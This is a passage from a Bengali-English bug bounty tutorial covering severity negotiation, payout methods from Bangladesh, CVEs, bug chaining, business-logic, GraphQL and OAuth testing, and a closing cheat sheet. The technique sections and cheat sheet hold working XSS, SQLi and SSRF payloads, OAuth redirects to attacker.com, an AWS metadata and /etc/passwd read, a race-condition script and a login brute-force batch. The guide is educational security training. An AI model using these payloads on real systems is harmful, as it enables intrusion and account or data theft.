# ভালো Negotiation Message Example "Hi [Program Name] Team, Thank you for triaging my report. I noticed the severity was marked as 'Medium'. I'd like to clarify the impact further: This vulnerability allows complete account takeover of any user without prior authentication, affecting all [X] million users. According to CVSS scoring, this would be rated High (7.5) due to: - Network-accessible attack vector - Low attack complexity - High confidentiality impact Could you please reconsider the severity? I'm happy to provide additional PoC if needed. Best regards, [Your username]"
```

✅ Professional Communication

- সবসময় Polite থাকো
- Technical evidence দাও
- CVSS দিয়ে justify করো
- একবার appeal করো

❌ কখনো করো না

- Threatening message পাঠানো
- Public disclosure দিয়ে pressure
- Spam করা
- Abusive ভাষা ব্যবহার

💬 Chapter সারসংক্ষেপ

- ⏰ Triaged মানে ভালো খবর — Bounty আসছে
- 💰 Negotiate করো Technical Evidence দিয়ে, emotion দিয়ে না

- 🧡 Professional থাকাই দীর্ঘমেয়াদে সবচেয়ে লাভজনক

CHAPTER 12

💰 Bounty পাওয়া, Payment ও Hall of Fame

বাংলাদেশ থেকে Bounty কিভাবে পাবে, Tax, CVE এবং Hall of Fame

💳 Payment Methods

Method	Platform	বাংলাদেশে	সুবিধা
PayPal	HackerOne, Bugcrowd	⚠️ সীমিত	দ্রুত, global
Bank Transfer (SWIFT)	HackerOne, Bugcrowd	✅ কাজ করে	সরাসরি Bank-এ
Payoneer	HackerOne	✅ ভালো option	বাংলাদেশে Popular
Crypto (BTC/ETH)	কিছু Program	⚠️ Legal দেখো	Anonymous
Swag / Gift	VDP Programs	📦	T-shirt, Merch, Certificate

BD বাংলাদেশ থেকে Bounty পাওয়ার সবচেয়ে ভালো পদ্ধতি

1. **Payoneer** Account খোলো (payoneer.com) — বিনামূল্যে
2. HackerOne-এ Payoneer connect করো
3. Payoneer → bKash/Nagad অথবা Bank Transfer করো

🏆 Hall of Fame ও CVE

🏆 Hall of Fame

অনেক Company তাদের Website-এ Bug Reporter-দের নাম Hall of Fame-এ রাখে। এটা Portfolio-র জন্য অনেক দামি।

- Google — bughunters.google.com
- Facebook — whitehat.fb.com
- Microsoft — msrc.microsoft.com
- Apple — support.apple.com/security

📋 CVE (Common Vulnerabilities)

যদি Open Source Software-এ Bug পাও, CVE ID পাওয়া সম্ভব। এটা LinkedIn/Resume-এ যোগ করা যায়।

- cve.mitre.org
- nvd.nist.gov

💰 Chapter সারসংক্ষেপ

- BD Payoneer + SWIFT Bank Transfer = বাংলাদেশে সেরা Option
- 🏆 Hall of Fame = Free Reputation + Portfolio
- 📋 CVE পাওয়া Career-এর জন্য খুব ভালো

CHAPTER 13

🚀 Advanced Techniques ও Tips

Chained Bugs, Business Logic, GraphQL, OAuth, Race Condition — উন্নত কৌশল

🔗 Bug Chaining — বেশি Bounty পাওয়ার কৌশল

💡 Bug Chaining কী?

একটি Low severity bug-কে আরেকটি Low বা Medium bug-এর সাথে মিলিয়ে High বা Critical করা। এতে বেশি Bounty পাওয়া যায়।

```
Example Chain: Account Takeover Open Redirect (Low) + CSRF (Medium) +
Oauth State Not Validated (Medium) = Account Takeover = CRITICAL 💰💰💰
Another Chain: SSRF (blocked by WAF) + Internal IP Bypass = SSRF → RCE =
Critical Bounty!
```

🧠 Business Logic Flaws

```
# Business Logic Test Examples # 1. Negative Price POST /cart/add
{"item_id": 123, "quantity": -1, "price": -99.99} # দোকান থেকে পয়সা নেওয়া
যাচ্ছে? # 2. Discount Code Reuse GET /apply-coupon?code=SAVE50 # একই code
বারবার use # 3. Race Condition (দুটো request একসাথে) # Python example
import threading import requests def redeem(): requests.post('/redeem',
data={'points': 1000}) for _ in range(10):
threading.Thread(target=redeem).start() # একটি request হওয়ার কথা কিন্তু 10টা
হলো? # 4. 2FA Bypass # 2FA step skip করে সরাসরি dashboard-এ যাওয়ার চেষ্টা GET
/dashboard # 2FA complete না করেই
```

🔵 GraphQL Testing

```
# GraphQL Introspection (disabled হওয়া উচিত) POST /graphql {"query": "
{__schema{types{name}}}"} # IDOR in GraphQL query { user(id:
"OTHER_USER_ID") { email, phone, address } } # Batch Query Attack (Rate
Limiting Bypass) [ {"query": "mutation { login(user:'a', pass:'aa') }"},
{"query": "mutation { login(user:'a', pass:'ab') }"}, ... (1000 queries
at once) ]
```

🔑 OAuth Flaws

```
# OAuth State Parameter Missing GET /oauth/callback?code=AUTH_CODE #
state parameter নেই? CSRF attack possible! # Redirect URI Manipulation GET
/oauth/authorize?redirect_uri=https://attacker.com GET /oauth/authorize?
redirect_uri=https://example.com@attacker.com GET /oauth/authorize?
redirect_uri=https://example.com.attacker.com # Token Leakage via Referer
# access_token URL parameter হলে Referer header-এ leak হয়
```

🚀 Chapter সারসংক্ষেপ

- 🔗 Bug Chain = Low + Low = High/Critical Bounty
- 🧠 Business Logic Bugs খুঁজতে "Normal Flow" বাইরে চিন্তা করো
- ⚡ Race Condition অনেক valuable bug যা অনেকেই miss করে

CHAPTER 14

📚 Career Path, Resources ও Cheat Sheet

শেখার Resources, Career Path এবং সম্পূর্ণ Bug Bounty Cheat Sheet

🎓 সেরা শেখার Resources

🆓 Free

- PortSwigger Web Academy
- OWASP Testing Guide
- HackTheBox (Free)
- TryHackMe (Free)
- YouTube: NahamSec, STÖK
- PentesterLab (Free)

💰 Paid

- HackTheBox Pro
- TCM Security courses
- Udemy courses
- Bug Bounty Bootcamp (Vickie Li)
- Offensive Security (OSCP)

📖 Books

- The Web Application Hacker's Handbook
- Bug Bounty Bootcamp — Vickie Li
- Real World Bug Hunting
- Hacking APIs

🗺️ Career Path

📗 Month 1–3: Foundation

PortSwigger Labs, OWASP Top 10, Burp Suite শেখো

PortSwigger | TryHackMe | HTTP Basics

⬇️

📘 Month 4–6: First Bugs

VDP ও Public Program-এ শুরু করো, প্রথম Bug Submit করো

HackerOne | First Report | VDP

⬇️

📙 Month 7–12: First Bounty

Paid program-এ যাও, Automation শেখো, প্রথম Bounty পাও

First $$$ | Automation | Nuclei

⬇️

Year 2+: Full Time Hunter

Private Program, Top 100 Hacker, $10K+/month

Private Program | Top Hacker | Full Time

📋 সম্পূর্ণ Cheat Sheet

🔴 XSS Payloads

`<script>alert(1)</script>`	Basic XSS
`<img src=x onerror=alert(1)>`	Image tag XSS
`<svg onload=alert(1)>`	SVG XSS
`javascript:alert(1)`	URI XSS
`"><script>alert(1)</script>`	Attribute escape

🟣 SQLi Payloads

`' OR '1'='1'--`	Auth bypass
`1 UNION SELECT null--`	Union test
`1' ORDER BY 3--`	Column count
`'; WAITFOR DELAY '0:0:5'--`	Time-based (MSSQL)
`1' AND SLEEP(5)--`	Time-based (MySQL)

🔵 SSRF Payloads

`http://127.0.0.1/`	Localhost
`http://169.254.169.254/`	AWS metadata
`http://0x7f000001/`	Hex bypass
`http://[::1]/`	IPv6 bypass

`file:///etc/passwd`	File read

🟢 **Recon Commands**

`subfinder -d target.com`	Subdomain enum
`httpx -l subs.txt`	Live host check
`ffuf -w list.txt -u URL/FUZZ`	Dir brute
`gau target.com | gf xss`	XSS URLs
`nuclei -u target.com -t cves/`	CVE scan

🏆 সফল Bug Hunter-দের Tips

- 🎯 **Focus করো:** একটা bug type ভালো করে শেখো, তারপর আরেকটায় যাও
- 📝 **Notes রাখো:** প্রতিটি Program-এর কী দেখলে তা লিখে রাখো
- 🔄 **Consistency:** প্রতিদিন কিছু না কিছু করো
- 📖 **Writeup পড়ো:** HackerOne Hacktivity ও Medium-এ writeup পড়ো
- 🤝 **Community:** Discord, Twitter (X)-এ active থাকো
- 🏃 **হাল ছেড়ো না:** প্রথম দিকে Duplicate ও N/A পাওয়া স্বাভাবিক

🎯 "Every great hacker was once a beginner who didn't give up."

এই গাইড সম্পূর্ণ শিক্ষামূলক। সবসময় Authorized Program-এ কাজ করো এবং Responsible Disclosure অনুসরণ করো।

Bug Bounty Hunting v2.0 — সম্পূর্ণ বাংলা গাইড

14 Chapters • Bilingual • Dark Mode • Full Template